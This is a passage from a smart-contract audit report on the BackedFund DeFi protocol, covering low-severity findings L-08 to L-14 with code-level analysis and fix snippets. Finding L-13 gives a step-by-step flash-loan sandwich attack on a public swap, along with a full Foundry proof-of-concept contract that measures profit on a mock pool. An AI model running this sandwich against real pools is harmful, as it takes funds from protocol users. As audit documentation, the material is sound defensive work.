    require(minTokensOut >= floor, "SupportController: minTokensOut below protocol floor");
    // ... existing swap/burn ...
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 14: executeBuyBurn lets the triggering caller self-select minTokensOut=0, enabling a self-paid sandwich of the guaranteed buy-burn swap. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-08 claimAndRoute hands the creator the whole reinvest share once bond units reach zero, bypassing the 50% creator-yield cap

Source: GitHub issue #15
Severity: Low

Description

Severity	Low
Confidence	High (code confirmed)
Location	`TreasuryVault.sol:claimAndRoute` (lines 195-198)
Class	Accounting / policy bypass
Sources	Pasted (external) — our C-075 fuzz harness (NH-026) exercised this branch but did not assert the cap

Description

What's wrong

The protocol limits how much treasury yield a creator can take directly to 50%, and blocks creators from raising their share later. When the treasury's bond position has been fully redeemed, the share meant for reinvestment is quietly paid to the creator instead, so the creator's cut can exceed that cap.

How

`claimAndRoute` computes `creatorAmount`, `buyBurnAmount`, `liquidityAmount` from `strategy.*Bps` and assigns the remainder to `reinvestAmount`. When `bondAdapter.positionBondUnits(positionId) == 0` it executes `creatorAmount += reinvestAmount; reinvestAmount = 0;` (`TreasuryVault.sol:195-198`). `_validateStrategy` enforces `creatorBps <= 5_000` (`LaunchEconomicsPolicy.sol:182`) and `proposeYieldStrategy` rejects creator-share increases, but neither bounds `creatorBps + reinvestBps`. With `creatorBps = 5_000`, `reinvestBps = 5_000`, the creator receives 100% of `strategyBase` after redemption.

Impact

- **Creator-share cap:** broken. The creator takes `creatorBps + reinvestBps` of post-redemption yield, up to 100%.
- **Other stakeholders:** buy-burn and liquidity shares are unchanged; the redirected amount would otherwise have been reinvested into the creator's own position.
- **Reachability:** bond units reach zero only after the creator's own `redeemPrincipal`, so only residual post-redemption yield is affected.

Recommendation

Route the fallback reinvest share to the support buckets (or keep it in the vault) rather than to the creator:

```
if (reinvestAmount > 0 && bondAdapter.positionBondUnits(positionId) == 0) {
    uint256 supportBps = uint256(strategy.buyBurnBps) + strategy.liquidityBps;
    uint256 toBuyBurn = supportBps == 0 ? reinvestAmount : (reinvestAmount * strategy.buyBurnBps) / supportBps;
    buyBurnAmount += toBuyBurn;
    liquidityAmount += reinvestAmount - toBuyBurn;
    reinvestAmount = 0;
}
```

This is a design choice for the team; if paying the creator is intended, document it next to the 50% cap.

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 15: claimAndRoute hands the creator the whole reinvest share once bond units reach zero, bypassing the 50% creator-yield cap. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-09 consult() ignores the latest cumulative checkpoint when it is not an observation, letting a price move that left the window still skew the TWAP

Source: GitHub issue #16
Severity: Low

Description

Severity	Low
Confidence	High (code confirmed)
Location	`BackedFundFeeHook.sol:consult` (lines 455-506), `_recordTick` (lines 518-541)
Class	OracleCompleteness
Sources	Pasted (external) — our novelty oracle NH-020 (TWAP accuracy) covered it but fell below the top-8 execution cut

Description

What's wrong

The hook's time-weighted price leaves out the most recent price checkpoint whenever that checkpoint was written less than 30 seconds after the previous stored observation. It then assumes the price moved evenly across the gap. A price that held only before the averaging window started can still leak into the reported average.

How

`_recordTick` always advances `state.tickCumulative` / `state.lastTimestamp`, but only writes a new `Observation` when `timestamp - latest.timestamp >= OBSERVATION_INTERVAL` (30 s, `:533`). `consult` interpolates `targetCumulative` between the last observation `≤ target` and the first observation `≥ target`, defaulting `afterTimestamp` to `now` with `currentCumulative` (`:471-488`). It never uses the `(state.lastTimestamp, state.tickCumulative)` checkpoint. When that checkpoint lies inside `(beforeTimestamp, afterTimestamp)`, linear interpolation spreads the pre-checkpoint tick over the whole span. Example: observation at `t0` with tick `A`, swap at `t0+20s` to tick `B` (no observation written), `consult(30 min)` at `t0+40 min` → 15 s of tick `A` is still counted inside a window that starts at `t0+10 min`.

Impact

- **TWAP error:** at most ≈ 30 s of misattributed weight per window (≤ 1.7% of `|A − B|` for a 30-minute window). Larger when the pre-window move was extreme.
- **Consumers:** `addDripLiquidity` (`LaunchPoolFactory.sol:480`) and the support executor's price checks. Both consumers live in the Built-mode / executor contracts removed from stage 1, so the stage-1 impact is limited to operations reverting when the reported TWAP deviates from the true one.

Recommendation

Include the running checkpoint as an interpolation anchor:

```
// after the observation loop
if (state.lastTimestamp >= target && state.lastTimestamp < afterTimestamp) {
    afterTimestamp = state.lastTimestamp;
    afterCumulative = state.tickCumulative;
}
if (state.lastTimestamp <= target && state.lastTimestamp > beforeTimestamp) {
    foundBefore = true;
    beforeTimestamp = state.lastTimestamp;
    beforeCumulative = state.tickCumulative;
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 16: consult() ignores the latest cumulative checkpoint when it is not an observation, letting a price move that left the window still skew the TWAP. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-10 Launch policy accepts extreme-price configurations whose full-range seed can never use 99% of both budgets, so finalization always reverts

Source: GitHub issue #17
Severity: Low

Description

Severity	Low
Confidence	Medium (math confirmed by hand; no PoC)
Location	`LaunchEconomicsPolicy.sol:validateAndResolve` (lines 146-153), `LaunchPoolFactory.sol:initialSqrtPriceX96ForPair` (lines 649-676), `seedLiquidity` (lines 376-379)

Class	Input validation
Sources	Pasted (external) — our novelty oracle NH-013 stated this exact invariant but was never executed

Description

What's wrong

A launch can be created with a price so close to Uniswap's limits that a full-range position can't absorb 99% of both deposited assets. Creation succeeds and contributions open, but finalization is guaranteed to fail, so buyers' ETH sits locked until the sale is cancelled and refunded.

How

`initialSqrtPriceX96ForPair` only checks `MIN_SQRT_RATIO <= sqrtPrice < MAX_SQRT_RATIO` (`:669-672`). The policy only requires `minLpETH > 0 && minLpTokens > 99` (`LaunchEconomicsPolicy.sol:149`). For full-range liquidity the token0 requirement is `L·(1/√P − 1/√P_upper)`. Near the upper bound `1/√P_upper` is no longer negligible against `1/√P`, so the token0 side uses materially less than its budget. Example: a 950 wei WETH / `9.5e37` token budget → `√P ≈ 3.2e17`, `1/√P_upper ≈ 5.4e-20` → WETH used ≈ 934 wei < the 940-wei 99% floor → `"Factory: excessive LP dust"` (`LaunchPoolFactory.sol:376-379`).

Impact

- **Buyers:** finalization always reverts → ETH is locked until `endTime + 7 days`, then refunded in full.
- **Reachability:** only degenerate, creator-chosen configurations (dust-sized soft cap against an enormous supply). No third party can force it.

Recommendation

Reject such configurations at creation by running the same full-range liquidity math the factory uses at both the soft-cap and hard-cap LP budgets, and require `used ≥ 99%` of each:

```
uint160 p = factory.initialSqrtPriceX96ForPair(token, WETH, lpTokens, lpETH);
uint128 L = LiquidityAmountsLib.getLiquidityForAmounts(p, sqrtAtMinUsable, sqrtAtMaxUsable, a0, a1);
(uint256 u0, uint256 u1) = LiquidityAmountsLib.getAmountsForLiquidity(p, sqrtAtMinUsable, sqrtAtMaxUsable, L);
require(u0 >= a0 * 99 / 100 && u1 >= a1 * 99 / 100, "Economics: unseedable price");
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 17: Launch policy accepts extreme-price configurations whose full-range seed can never use 99% of both budgets, so finalization always reverts. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-11 Permissionless claimAndRoute during redemption notice creates pendingReinvestmentETH that blocks requestPositionRedemption (full scope)

Source: GitHub issue #18
Severity: Low

Description

Severity	Low
Confidence	High (code confirmed)
Location	`UniversalBondsAdapter.sol:requestPositionRedemption` (line 426), `reinvestYield` (line 399); `TreasuryVault.sol:claimAndRoute` (line 174)
Class	Griefing / redemption DoS
Scope	Full scope: `UniversalBondsAdapter` is excluded from the stage-1 review
Sources	External finding, verified against commit `07ea04f`

Description

What's wrong

Redeeming a treasury's bond principal requires the position to have no ETH waiting to be converted into bonds. Anyone can still trigger a yield claim after the creator gives redemption notice, and that claim can create new waiting ETH, so the administrator's redemption request reverts until it is cleared.

How

`requestPositionRedemption` requires `position.pendingETH == 0 && position.pendingReinvestmentETH == 0` (line 426). `TreasuryVault.claimAndRoute` has no caller restriction (only `whenNotPaused`), and `requestRedemption` only records `redemptionNoticeAt`; it does not stop claims. While `positionBondUnits > 0`, the strategy's reinvest share is sent to `reinvestYield`. That function is allowed while the position is `Active` and adds to `pendingReinvestmentETH` (line 399). The only way to reduce that balance is `_mintProjectBond` (line 533), reached through the administrator-only `mintReinvestedBond`, which needs a signed NFTBonds `MintDataInput`. A leftover worth less than about one bond also fails `_isBondCostAllowed` under the default `maxBondCostDropBps`.

Impact

- **Creator principal exit:** delayed after the lock and notice period have passed; any yield claim between the administrator's mint and the redemption request recreates the block.
- **No fund loss:** principal and pending ETH stay in the adapter.

Why Low

The grief only delays redemption; no funds are lost. The trusted administrator can always clear it: they mint the pending reinvestment and request redemption in one atomic transaction, or have the guardian pause `claimAndRoute` first. The attack also depends on the creator's strategy including a reinvest share and on accrued yield, and on Base racing the administrator's transactions is impractical.

Recommendation

1. Stop new reinvestment once redemption notice is active, for example by routing the reinvest share to the support buckets instead:

```
// TreasuryVault.claimAndRoute
if (reinvestAmount > 0 && (redemptionNoticeAt != 0 || bondAdapter.positionBondUnits(positionId) == 0)) {
    // route to buyBurn/liquidity (see L-08), not reinvestYield
}
```

1. Add an administrator path that refunds or reroutes `pendingReinvestmentETH` to the position vault without requiring a bond mint, so a dust leftover can never block `requestPositionRedemption`.

Filed from the BackedFund audit (external finding, verified). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 18: Permissionless claimAndRoute during redemption notice creates pendingReinvestmentETH that blocks requestPositionRedemption (full scope). Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-12 strengthenTreasuryProfile stays callable after the Bernard redemption is requested, so switching to Permanent strands the payout in the adapter

Source: GitHub issue #19
Severity: Low

Description

Severity	Low
Confidence	High (code confirmed)
Location	`TreasuryVault.sol:strengthenTreasuryProfile` (line 299), `_canRedeem` (line 389); `UniversalBondsAdapter.sol:redeemPrincipal`
Class	State machine / missing guard
Scope	The missing guard is in `TreasuryVault` (stage-1 scope); the trigger needs the Bernard redemption flow in `UniversalBondsAdapter` (full scope)
Sources	External finding, verified against commit `07ea04f`

Description

What's wrong

A creator can switch their treasury to Permanent after the bond position has already been sold back to Bernard. The payout then sits in the adapter, and only the vault can collect it, but a Permanent vault refuses to collect. The bonds are gone, so nothing earns yield for the project either.

How

`strengthenTreasuryProfile` is gated only by `onlyCreator` and `notRedeemed`. `isRedeemed` flips only inside the vault's own `redeemPrincipal`, and nothing checks the adapter's position state. After the administrator calls `requestPositionRedemption` (all bond units withdrawn, `bondUnits = 0`) or `settlePositionRedemption` (state `RedemptionSettled`), the creator can still set `profile = Permanent`, which sets `bondUnlockTime = type(uint64).max`. `_canRedeem()` then returns `false` for Permanent, so `TreasuryVault.redeemPrincipal` reverts with "redemption not allowed", and the profile can never be changed back ("already permanent"). The adapter's `redeemPrincipal` only accepts calls from `position.vault`, and there is no sweep, so the 90% payout stays in the adapter as `totalRedemptionLiabilityETH` forever.

A TimeLocked switch mid-redemption also resets `redemptionNoticeAt` and extends `bondUnlockTime`. That only delays collection.

Impact

- **Creator:** permanently loses the redemption payout (90% of principal).
- **Project support:** the position has zero bond units, so no further yield reaches `claimAndRoute`. The buy-burn and liquidity buckets stop receiving yield, unlike a genuinely Permanent treasury that keeps its bonds.
- **Protocol:** the adapter keeps a stranded liability.

Why Low

Only the creator can trigger it, through their own privileged function, and they are the main loser. Choosing Permanent already means "principal is never redeemable". The only third-party effect is the lost future support yield.

Recommendation

Block profile changes once the adapter redemption has started:

```
function strengthenTreasuryProfile(TreasuryProfile newProfile, uint64 newUnlockTime)
    external override onlyCreator notRedeemed
{
    if (positionId != 0) {
        (, , , , bool adapterRedeemable) = bondAdapter.getBondInfo(positionId);
        require(
            !adapterRedeemable && bondAdapter.positionBondUnits(positionId) > 0,
            "TreasuryVault: redemption in progress"
        );
    }
    // ...
}
```

A cleaner option is to expose the adapter's `PositionState` in the interface and require `Active`.

Filed from the BackedFund audit (external finding, verified). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 19: strengthenTreasuryProfile stays callable after the Bernard redemption is requested, so switching to Permanent strands the payout in the adapter. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-13 Public USDC liquidity-support swap accepts a 75 bps TWAP band that a sandwich can capture (mock-pool PoC, real-pool profitability unverified)

Source: GitHub issue #23
Severity: Low

Description

Severity	Low (reported: Medium)
Confidence	Low (profit shown only on a mock pool)
Location	`ProjectSupportV3TwapGuard.sol:minimumCounterOut` / `ProjectSupportController.sol:executeLiquiditySupport`
Sources	Ours
Class	MEVEconomic (V0)
Discovered via	disproof-resurrect (untested novelty lead NH-008, disproof DL-009)
Phase 3 verdict	true_positive (resurrected by disproof sweep); manual re-review → Low
PoC	[POC-PASS] on a mock pool; Base-fork reproduction still needed
Related	#12 (automatic path hardcodes `minLiquidity = 0`), #7 (liquidity cooldown)

Description

What's wrong

Anyone can trigger a project's USDC liquidity support, which swaps USDC for WETH on the Base USDC/WETH pool. The swap's minimum output lets it fill up to 75 bps below the TWAP price, and the pool's spot price may drift up to 300 bps from the TWAP before the guard rejects it. Because the attacker chooses when the swap runs and how big it is, they can move the pool first, let the protocol's swap fill at the worse price, then move the pool back. The protocol's 75 bps band is wider than the two 5 bps pool fees the attacker pays.

How

`DEFAULT_EXECUTION_SLIPPAGE_BPS = 150` (`ProjectSupportController.sol:35`). The executor halves it for the V3 hop (`(150 + 1) / 2 = 75`, `ProjectSupportExecutor.sol:302-311`). `ProjectSupportV3TwapGuard.minimumCounterOut` (`:95-111`) then sets `amountOutMinimum = TWAP quote × (1 − 0.05% pool fee) × (1 − 75 bps)`. `_validatedTwap` only rejects spot more than `MAX_SPOT_TWAP_DEVIATION_BPS = 300` from the 30-minute TWAP (`:31`, `:135-158`). `executeLiquiditySupport` (`ProjectSupportController.sol:472`) has no caller restriction. The caller picks `amount` (up to `liquidityBalance` and `maxSafeUsdcInput`), sets `minLiquidity = 0` and chooses when it runs (once per day per project).

Impact

- **Project liquidity-support bucket:** in the PoC model, a ~39,970 USDC tranche leaks ~124 USDC (~0.31%) to the sandwicher per execution, at most once per project per day.

- **Realism caveat (why Low):** the PoC uses a single-range constant-product pool (`DL9CLPool`) with an empty `tickBitmap`. With no initialized ticks, `maxSafeUsdcInput` lets the victim swap reach the full 50 bps impact limit. On the real Base USDC/WETH 0.05% pool, initialized ticks sit close to spot. The guard's own per-tick cap (`ProjectSupportV3TwapGuard.sol:167-210`) would likely limit the victim to ≤0.1% price movement. By a rough estimate, the sandwich only pays when the victim is above ~0.05% of the pool's virtual reserve, so on the real pool it is probably unprofitable or break-even. **This estimate is not tested.**
- The V4 leg uses a constant-price mock and is not modelled. Its 1% hook fee per leg likely makes sandwiching that leg unprofitable.

Expected delta: ~+124 USDC per 40k tranche in the mock model; likely ≤ 0 on the real Base pool (unverified)

Exploit path

1. Flash-borrow ~50,000 USDC (0-fee flash loans exist on Base, e.g. Balancer or Morpho; the PoC charges 5 bps).
2. Swap USDC→WETH on the USDC/WETH 0.05% pool, moving spot ~0.5%. This stays inside the 300 bps spot/TWAP bound.
3. Call `executeLiquiditySupport(launchId, USDC, maxSafeUsdcInput, 0, deadline)`. The executor swaps ~39,970 USDC with minOut = TWAP × (1 − 0.05%) × (1 − 0.75%) and fills ~0.4% below fair.
4. Swap WETH→USDC back and repay the flash loan.

Recommendation

1. Tighten the V3-hop band to what the pool fee and normal TWAP drift need (e.g. ≤ 20-30 bps), and reject execution when spot has moved against TWAP by more than that band. Today's 300 bps allowance is far wider than the 75 bps minimum-output band.
2. Make the minimum output depend on spot as well as TWAP, e.g. `minOut = min(twapQuote, spotQuote) × (1 − smallBand)`, so a front-run that moves spot raises the floor instead of hiding under it.
3. Optionally restrict `executeLiquiditySupport` to keepers or a private-orderflow path, or cap the tranche at a fraction of the in-range liquidity at the current tick.

```
// ProjectSupportV3TwapGuard._validatedTwap
require(spotTwapDeviationBps(mode) <= MAX_V3_HOP_DEVIATION_BPS /* e.g. 30 */, "TwapGuard: spot deviates");
```

Proof of concept

`forge test --match-path test/disproof/DL-009_Disproof.t.sol` passes and logs: `maxSafeUsdcInput` = 39,970.11 USDC, best front-run = 50,000 USDC, gross profit = 149.0779 USDC (after both 5 bps pool fees), flash fee = 25 USDC, **net ≈ +124.08 USDC**. It uses the real guard and executor on a single-range V3 pool model (L = 20M, empty tick bitmap). **Before raising this above Low, reproduce it on a Base fork against the real USDC/WETH pool.** Depends on `test/novelty/C-032_Novelty.t.sol`.

DL-009_Disproof.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

// Phase 3.7 disproof - DL-009 (oracle NH-008, round_trip_value, cluster C-014).
// Lead: sandwich the public USDC liquidity-support V3 swap. The repo's V3 mocks are
// constant-rate (no price impact), so this test models the USDC/WETH 0.05% pool as a
// single-range concentrated-liquidity pool (Uniswap V3 in-range math: constant product on
// virtual reserves, fee taken from input and kept outside the reserves) and drives the REAL
// ProjectSupportV3TwapGuard + REAL ProjectSupportExecutor through it. The 30-min TWAP is a
// fixed mean tick (a same-tx move cannot shift a 30-min cumulative). The V4 leg uses the
// repo's constant-price MockV4PoolManager (no impact), so only the V3 hop is modeled.

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

```
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {ProjectSupportExecutor} from "../../contracts/treasury/ProjectSupportExecutor.sol";
import {ProjectSupportV3TwapGuard} from "../../contracts/liquidity/ProjectSupportV3TwapGuard.sol";
import {MockMintableToken} from "../../contracts/mocks/MockMintableToken.sol";
import {MockV4PoolManager} from "../../contracts/mocks/MockV4PoolManager.sol";
import {MockUniswapV3Factory} from "../../contracts/mocks/MockUniswapV3Plazm.sol";
import {MockLaunchPoolCatalog, MockV4Quoter} from "../../contracts/mocks/MockProjectSupportExecution.sol";
import {C032_Hook} from "../novelty/C-032_Novelty.t.sol";
import {IUniswapV3PoolOracle, IUniswapV3SwapRouter02} from "../../contracts/interfaces/v3/IUniswapV3Plazm.sol";
import {TickMathLib} from "../../contracts/interfaces/v4/V4LiquidityMath.sol";
import {IHooks, PoolKey, Currency} from "../../contracts/interfaces/v4/IV4Types.sol";
import {LPFeeLib} from "../../contracts/interfaces/v4/V4Libraries.sol";

interface DL9Vm {
    function snapshotState() external returns (uint256);
    function revertToState(uint256) external returns (bool);
}

/// @dev Single-range V3-faithful pool + SwapRouter02.exactInput (single hop).
contract DL9CLPool is IUniswapV3PoolOracle, IUniswapV3SwapRouter02 {
    address public immutable token0;
    address public immutable token1;
    uint24 public immutable fee = 500;
    int24 public immutable tickSpacing = 10;
    int24 public meanTick;
    uint256 public xv; // virtual token0
    uint256 public yv; // virtual token1
    mapping(int16 => uint256) public tickBitmap;

    constructor(address a, address b, uint256 liq, int24 mean) {
        (token0, token1) = a < b ? (a, b) : (b, a);
        meanTick = mean;
        uint256 sq = TickMathLib.getSqrtRatioAtTick(mean);
        xv = Math.mulDiv(liq, 1 << 96, sq);
        yv = Math.mulDiv(liq, sq, 1 << 96);
    }

    function liquidity() external view returns (uint128) { return uint128(Math.sqrt(xv * yv)); }

    function _sqrtP() internal view returns (uint160) {
        return uint160(Math.sqrt(Math.mulDiv(yv, 1 << 192, xv)));
    }

    function _tick(uint160 sq) internal pure returns (int24 lo) {
        int24 l = -887272; int24 h = 887272;
        while (l < h) {
            int24 m = l + (h - l + 1) / 2;
            if (TickMathLib.getSqrtRatioAtTick(m) <= sq) l = m; else h = m - 1;
        }
        return l;
    }

    function slot0() external view returns (uint160, int24, uint16, uint16, uint16, uint8, bool) {
        uint160 sq = _sqrtP();
        return (sq, _tick(sq), 0, 2, 2, 0, true);
    }

    function observe(uint32[] calldata s)
        external view returns (int56[] memory c, uint160[] memory p)
    {
        c = new int56[](s.length); p = new uint160[](s.length);
        for (uint256 i; i < s.length; ++i) c[i] = -int56(meanTick) * int56(uint56(s[i]));
    }

    function _swap(address tin, uint256 amtIn, address to, uint256 minOut) internal returns (uint256 out) {
        IERC20(tin).transferFrom(msg.sender, address(this), amtIn);
        uint256 net = Math.mulDiv(amtIn, 1_000_000 - fee, 1_000_000);
        if (tin == token0) {
            out = Math.mulDiv(yv, net, xv + net); xv += net; yv -= out;
            IERC20(token1).transfer(to, out);
        } else {
```

```
            out = Math.mulDiv(xv, net, yv + net); yv += net; xv -= out;
            IERC20(token0).transfer(to, out);
        }
        require(out >= minOut, "DL9: minimum");
    }

    function exactInput(ExactInputParams calldata p) external payable returns (uint256) {
        address tin; bytes calldata path = p.path;
        assembly ("memory-safe") { tin := shr(96, calldataload(path.offset)) }
        return _swap(tin, p.amountIn, p.recipient, p.amountOutMinimum);
    }

    function attackerSwap(address tin, uint256 amtIn) external returns (uint256) {
        return _swap(tin, amtIn, msg.sender, 0);
    }
}

contract DL9PlazmGuardStub {
    address public weth; address public plazm = address(0xbeef);
    constructor(address w) { weth = w; }
    function approvedRouteHash() external pure returns (bytes32) { return bytes32(uint256(1)); }
}

contract DL009_DisproofTest {
    DL9Vm internal constant vm = DL9Vm(address(uint160(uint256(keccak256("hevm cheat code")))));

    MockMintableToken usdc; MockMintableToken weth; MockMintableToken intermediate;
    MockMintableToken plazm; MockMintableToken tokenA;
    MockV4PoolManager manager; MockLaunchPoolCatalog catalog; C032_Hook hook; MockV4Quoter quoter;
    DL9CLPool pool; ProjectSupportV3TwapGuard guard; ProjectSupportExecutor executor;

    uint16 public executionSlippageBps = 150;
    address public launchManager = address(0xdead);
    uint256 constant LAUNCH = 1;
    uint256 constant POOL_LIQ = 20_000_000e18; // ~$20M-per-side depth at price 1 (1 USDC-unit : 1 WETH-unit raw)

    function _setUp() internal {
        usdc = new MockMintableToken("USD Coin", "USDC");
        weth = new MockMintableToken("Wrapped Ether", "WETH");
        intermediate = new MockMintableToken("E", "E");
        plazm = new MockMintableToken("P", "P");
        tokenA = new MockMintableToken("PA", "PA");
        manager = new MockV4PoolManager(); catalog = new MockLaunchPoolCatalog();
        hook = new C032_Hook(); quoter = new MockV4Quoter();
        pool = new DL9CLPool(address(usdc), address(weth), POOL_LIQ, 0);
        MockUniswapV3Factory f = new MockUniswapV3Factory();
        f.setPool(address(usdc), address(weth), 500, address(pool));
        guard = new ProjectSupportV3TwapGuard(
            address(f), address(usdc), address(weth), 500, address(new DL9PlazmGuardStub(address(weth)))
        );
        executor = new ProjectSupportExecutor(
            address(this), address(catalog), address(manager), address(pool), address(quoter),
            address(guard), address(usdc), address(weth), address(intermediate), address(plazm)
        );
        catalog.setPool(LAUNCH, address(tokenA), address(weth), address(hook));
        manager.initialize(_key(), uint160(1 << 96));
        tokenA.mint(address(manager), 1e36); weth.mint(address(manager), 1e36);
        // pool custody backs virtual reserves
        usdc.mint(address(pool), 1e30); weth.mint(address(pool), 1e30);
    }

    function _key() internal view returns (PoolKey memory) {
        (address c0, address c1) = address(tokenA) < address(weth) ? (address(tokenA), address(weth)) : (address(weth),
address(tokenA));
        return PoolKey(Currency.wrap(c0), Currency.wrap(c1), LPFeeLib.DYNAMIC_FEE_FLAG, catalog.tickSpacing(),
IHooks(address(hook)));
    }

    /// @dev victim = public executeLiquiditySupport(usdc, amount) with the caller-chosen amount.
    function _victim(uint256 amount) internal returns (bool ok) {
        usdc.mint(address(this), amount);
```

```
        usdc.approve(address(executor), amount);
        try executor.addLiquiditySupport(LAUNCH, address(tokenA), address(usdc), amount, 0, 0) returns (uint256) {
            ok = true;
        } catch { ok = false; }
    }

    /// @return profit attacker net USDC after back-run (before flash fee); ok whether victim tx succeeded
    function _sandwich(uint256 front, uint256 victimAmt) internal returns (uint256 profit, bool ok, uint256 wethGot) {
        usdc.mint(address(this), front);
        usdc.approve(address(pool), type(uint256).max);
        weth.approve(address(pool), type(uint256).max);
        uint256 usdcBefore = usdc.balanceOf(address(this)); // includes flash-borrowed `front`
        wethGot = front == 0 ? 0 : pool.attackerSwap(address(usdc), front);   // front-run: USDC -> WETH (same direction as
victim)
        ok = _victim(victimAmt);
        if (!ok) return (0, false, wethGot);
        // victim's own USDC mint is bookkeeping: net it out of attacker accounting
        uint256 wethNow = weth.balanceOf(address(this));
        if (wethNow > 0) pool.attackerSwap(address(weth), wethNow);              // back-run: WETH -> USDC
        uint256 usdcAfter = usdc.balanceOf(address(this));
        // usdcAfter includes the victim's minted-then-spent amount (already spent) => compare with pre-victim balance minus
front
        uint256 start = usdcBefore - front;
        // attacker started with `start` (0 owned) + flash `front`; repay `front`
        require(usdcAfter + 0 >= 0, "x");
        profit = usdcAfter > start + front ? usdcAfter - start - front : 0;
        // victim amount was minted to this contract then transferred to executor => already out of balance; balances net to
zero
    }

    function test_disproof_DL_009() public {
        _setUp();
        // Real bound the executor enforces
        uint256 maxIn = guard.maxSafeUsdcInput(ProjectSupportV3TwapGuardLaunchModeStandard());
        // victim size chosen by attacker (public caller) = full safe capacity
        uint256 victimAmt = maxIn;
        uint256 snap = vm.snapshotState();

        // baseline (no attack) victim output for loss accounting
        _victim(victimAmt);
        uint256 baseWeth = _lastDustlessWethProxy();
        vm.revertToState(snap);

        uint256 bestProfit; uint256 bestFront; uint256 poolFront;
        // scan front-run sizes (capped by 300 bps spot/TWAP deviation) as fractions of pool virtual reserve
        for (uint256 i = 1; i <= 40; ++i) {
            uint256 front = POOL_LIQ * i / 2000; // 0.05% .. 2.0% of reserve
            uint256 s2 = vm.snapshotState();
            (uint256 p, bool ok,) = _sandwich(front, victimAmt);
            vm.revertToState(s2);
            if (ok && p > bestProfit) { bestProfit = p; bestFront = front; }
            poolFront = i;
        }
        poolFront;
        // re-run best for state, compute flash fee (Aave-style 5 bps) and net
        (uint256 profit, bool ok2, ) = _sandwich(bestFront, victimAmt);
        require(ok2, "victim reverted at best");
        uint256 flashFee = bestFront * 5 / 10_000;
        emitLog(maxIn, bestFront, profit, flashFee, baseWeth);
        require(profit > flashFee, "DISPROOF: sandwich not profitable after flash fee");
    }

    // helpers (kept simple; log via revert-free events)
    event Log(uint256 maxSafeUsdcInput, uint256 frontRun, uint256 grossProfit, uint256 flashFee, uint256 x);
    function emitLog(uint256 a, uint256 b, uint256 c, uint256 d, uint256 e) internal { emit Log(a, b, c, d, e); }
    function _lastDustlessWethProxy() internal pure returns (uint256) { return 0; }
    function ProjectSupportV3TwapGuardLaunchModeStandard() internal pure returns (LaunchMode) { return LaunchMode.Standard; }
}
import {LaunchMode} from "../../contracts/types/LaunchTypes.sol";
```

Filed from the BackedFund stage-2 audit (captain-hook run, manually re-verified). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 23: Public USDC liquidity-support swap accepts a 75 bps TWAP band that a sandwich can capture (mock-pool PoC, real-pool profitability unverified). Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-14 Treasury ETH is committed to PendingMint at finalization without rechecking Bernard, and has no refund path if minting stops working

Source: GitHub issue #26
Severity: Low

Description

Severity	Low (reported: Medium)
Confidence	Medium
Location	`UniversalBondsAdapter.sol:isLive` (:179-194), `mintBondETH` (:222-242); `LaunchManager.sol:_deployTreasury` (:641-662)
Class	ExternalDependency / fund lock (V0)
